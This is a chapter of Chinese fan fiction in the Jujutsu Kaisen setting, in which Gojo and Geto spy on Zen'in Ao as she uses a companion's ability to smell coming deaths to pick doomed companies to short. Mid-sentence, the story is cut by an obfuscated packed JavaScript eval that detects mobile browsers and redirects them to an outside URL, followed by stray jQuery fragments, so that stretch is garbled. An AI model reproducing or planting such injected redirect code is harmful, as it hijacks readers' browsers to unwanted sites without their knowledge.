五条悟三人捧着一肚子油赶到教室时已经上课五分钟了。他们个个满脸菜色,几乎要口吐白沫了。
“你们这些家伙……学期刚开始没多久就结伴迟到,胆子挺大啊。”
夜蛾显然被气笑了,责罚他们的心思却也歇了下去。挥手让他们坐下。
“哎呀哎呀,老师。这可是有很深~很深的原因的呢。”
众所周知五条悟浑身上下最硬的就是那张嘴。
“因为杰这家伙啊,突然哭着喊着说‘悟!我大清早就要吃30个肉饼!’这样呢!”
“哈?悟,你在胡说八道些什么。在我的记忆里,哭着说‘剩下了多浪费啊!’然后硬塞进我嘴里的,应该是你才对吧。”
砰!
夜蛾一拳砸在讲台上,小剧场当场毙命。
“行了,上课。”
教室内鸡飞狗跳的灰尘晃晃悠悠地落地。
五条悟视线一直往前面的座位扫。不仅是他,连夏油杰也在装作不经意地观察那个方向。
此刻,那个真正的幕后黑手正在桌子下面肆无忌惮地盲打手机键盘。
水镜发来消息。
【1.2亿的海外资金已全部入账,户头抹平。】
禅院青发出了给新员工的第一条调度消息。
【今天下午,我去公司找你。】
由于视线盲区,夜蛾是看不到课桌底下的动作的。
但细微的手指皮肤粘合键盘又分开的动静即使再轻,也逃不过六眼和狐狸耳朵。
“喂,杰。那个女人,居然明目张胆地在玩手机。”
五条悟向邻座的人投去气音。
“看就知道了。话说回来,一开始明明是为了打败她而引发的事端,为什么最后遭殃的会是我们?”
“对啊!绝对是在盘算什么。今天早上给我们看的那张黑卡,是1.2亿对吧?绝对有猫腻。”
白发少年偷偷嚼了颗糖,用胳膊肘推了推夏油。
“那女人身上有血味。还有……那种陈旧泥土的味道。像是从坟里爬出来的。”
五条悟难得正经了一秒,然后继续嚼糖果。
“跟去看看。万一她真的在挖什么不该挖的东西,我们得第一个知道。”
“担心她惹麻烦?还是担心她惹麻烦不带上你?”
夏油杰垂着眼睛,心思回转。
如果禅院青的事牵扯到了不可告人的暗处交易,无论是作为咒术师的职责,还是单纯为了之前那些无头无尾的憋屈讨个明白,都必须需理清它的头尾。
夏油杰为自己找到了理由,郑重地点了点头。
“等课上完,跟踪去看看吧。嗝……”
狐狸打了一个梅干菜扣肉味的嗝。
---------
2005年的日本,仍处在90年代经济泡沫破裂后的阵痛中,大量中小企业仍在破产边缘挣扎。
东京繁华依旧。
禅院青和水镜冴子像两只误入城市的乡下老鼠,在无数高楼的玻璃反光中,在工蚁一样川流不息的社畜中穿行。
水镜站在一栋外表光鲜亮丽的建筑公司大楼前,抬头看着那反射着刺眼高光的玻璃幕墙,双腿像过水面条一样开始发软。
“明白了吗?水镜。你的工作只有一个。”
身边传来的声音轻快,像是来远足的女高中生。
“去闻味道。”
“噫......那个,社长……这是什么意思……”
水镜不是一个太懦弱的人。
但当她稍稍偏过头,再次看清那张映丽且无常的脸孔时,依然会不由自主地打个寒颤。地窖里那腐烂的尸泥,以及被人掐着脖子硬生生拖出时间线的记忆历历在目,像永不止息的毒火,在她身上烙下【禅院青所有物】的标识。
“你能提前闻到哪些企业‘活不过三个月’,不是吗?”
禅院青手里拿着一本墨绿色的笔记本,另一只手将钢笔转出残影。
她指了指面前那栋建筑所在的楼顶。
那是一栋正在忙碌运转的公司大楼,正常得像每一个蚁穴。
“企业老板在走投无路、决定从天台跳下去的前一刻,他们的脑子里除了巨额债务的催缴声,还会蔓延出一堆红色的腥甜味。”
她微微偏过头,视线平滑地扫过水镜苍白的脸颊,仿佛在谈论今晚要吃什么口味的小蛋糕。
“你拥有这种对死气的敏锐吧。毕竟,你自己也死过那么多次呢。”
“是、是的!”
水镜感到有冰凉粘腻的东西顺着脊椎绞上自己的脖颈。回忆起入职时自己说过的话,她只能拼命地点头。
这就是她作为一位打黑工苦命人的全部价值——化身一只食腐的秃鹫。
水镜脚步虚浮地走向大厦入口的排风口附近。
仅仅两分钟后,她就猛地转头,捂着嘴巴冲回街角。
“唔……呕……!”
她在垃圾桶边干呕,眼泪鼻涕全出来了。
“怎么样了?”
钢笔在纸页上轻轻一敲。
水镜虚弱地靠在墙上,整个人犹如刚从水里捞出来。
“就像是腐肉要把整栋楼塞爆了一样、就像那个时候……我身上的味道。有好几个人,已经在计划着死亡了……”
这就是了。从内而外腐烂在地基里的债务与绝望,大把无理扩张后的资不抵债,以及无数随时可能下岗的打工人。
这栋楼在这个下午依然阳光明媚,但在水镜的感知里,它已经在往下滴着腥臭浓浓的发烂黑水。
这就是金钱崩塌时的气味。
“是吗。”
笔尖在纸上划出流畅的弧线,记录下“高岭建设”的名头。
青拿出翻盖手机按下了一串号码。
“嗨,是我。”
“去查一下高岭建设最近的负债情况。不需要细账,能确认资不抵债就行。”
她顿了顿。
“然后,通过离岸账户买入他们的信用违约互换(做空),买入。赌博的精髓就在于□□啊。”
啪。
合上翻盖。
交易就是这么简单。不需要投行分析师,不需要常年的市场研判。仅仅是从死而复生者鼻子里闻到的一丝死亡预告。
-----------------
就在街对面的自动售货机后方。
“那女人到底在干嘛?带着个快死的大妈在散步?”
五条悟左手拿着一根吃了一半的牛奶味冰棍,牙齿咬着冰块,咯吱咯吱。苍蓝色的眼瞳隔着街道把对面的一切尽收眼底。
“应该是实地考察。她好像说过要开公司。证券公司。”夏油杰靠在墙上,单
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334543|199225||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手拉开红茶的拉环,“哧”的一声。刘海垂下来带着几分落拓气,“不过……她刚才是在进行做空交易吗?”
“嗯?那是什么。红薯*的亲戚吗?”
五条悟插着兜,歪着头,好像地心引力有助于思考似的。
“是股市的信用交易。如果那家公司破产,做空的人就能赚一笔。”夏油杰眯起眼,“她这是在赌那家公司会死。”
五条悟歪头:“那她怎么知道谁会死?”
夏油杰没说话。他看着远处那个趴在禅院青肩膀上瑟瑟发抖的女人,忽然想起刚才她冲到垃圾桶边干呕的样子。
那个普通人,能闻到死亡。
这个念头让他脊背有点发凉。
“啊真是的!那种大道理就算了!反正就是那个女人打算耍什么花样大赚一笔吧!”
“继续跟!我还不信了!”
五条悟和夏油杰跟着禅院青,眼见她们连续扫荡了四栋楼后,前方的两人被第五栋的保安非常敬业地挡截在了安检门闸前。
这不能怪安保人员,毕竟一个貌似刚被失业的颓废职场女人跟一个少女。这样的组合,实在是与商业大厦格格不入。
“呵,活该。”
五条悟吹了个口哨,幸灾乐祸。毕竟之前这女人在走廊里给他下绊子的账,他到现在还在心底拿小本本记着呢。
看见她受挫,简直比吃了一大块西柚沙冰还要愉悦。
“那个……社长,我们该怎么办?”
水镜怯生生地问。毕竟在她眼里,禅院青大概已经成为了那种为情报不惜将这栋楼屠戮干净的大魔王了。
“既然需要从上面闻,那就直接上去就好啦。”
界理术式将空间凝固成台阶。禅院青就这么拽着水镜的领子把她拖了上去。
百米高空之上。
水镜冴子正满脸眼泪鼻涕,将脸死死贴在玻璃窗边。在寒冷的高楼侧面,她的双脚下面就是如同蚂蚁般渺小的东京车流。
“啊啊啊啊啊——!!!”
水镜终于忍不住惊声尖叫,惊飞了楼顶的一群鸽子。
她死死闭着眼,双手像八爪鱼一样缠住禅院青的手臂,指甲几乎要嵌进肉里。她的腿在空中乱蹬,但什么都蹬不到——脚下是真空,是深渊,是蚂蚁一样的车流。
“社、社长!我我我我我要掉下去了!!!”
“不会掉。”
“我我我我我不敢睁眼!!!”
“那你闻。”
“闻闻闻闻什么!!!”
禅院青一只手被她缠着,另一只手依然稳稳地拿着笔记本,在寒风中翻了一页。
“闻那栋楼。”
水镜快哭了。她拼命把脸往禅院青的肩膀上蹭,死活不敢转过去。但那股她在地窖里闻过无数遍的腥甜味正从玻璃窗的另一边涌出来,钻进她的鼻腔。
“有……有烧焦的血……还有腐烂的胃液哕——像、像有人在里面烂了很久……”
她断断续续地说着,声音抖得厉害。
禅院青的笔尖在纸页上划动,金色眼瞳侧了一下,落在自动贩卖机后面。
五条悟和夏油杰往里面缩了缩。
“good girl。”
她笑了一下,对水镜说。
在这种女人手下,哪怕是一只蟑螂也会被资本榨成康复新液。